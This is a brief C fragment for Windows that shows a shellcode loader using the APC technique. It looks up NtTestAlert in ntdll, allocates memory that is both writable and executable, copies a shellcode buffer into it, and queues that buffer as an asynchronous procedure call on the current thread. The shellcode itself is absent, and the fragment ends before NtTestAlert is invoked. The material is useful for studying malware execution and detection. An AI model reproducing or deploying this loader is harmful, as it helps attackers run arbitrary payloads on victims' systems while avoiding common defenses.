typedef VOID(NTAPI* pNtTestAlert)(VOID);
pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert");
LPVOID lpBaseAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(lpBaseAddress, shellcode, sizeof(shellcode));
QueueUserAPC((PAPCFUNC)lpBaseAddress, GetCurrentThread(), NULL);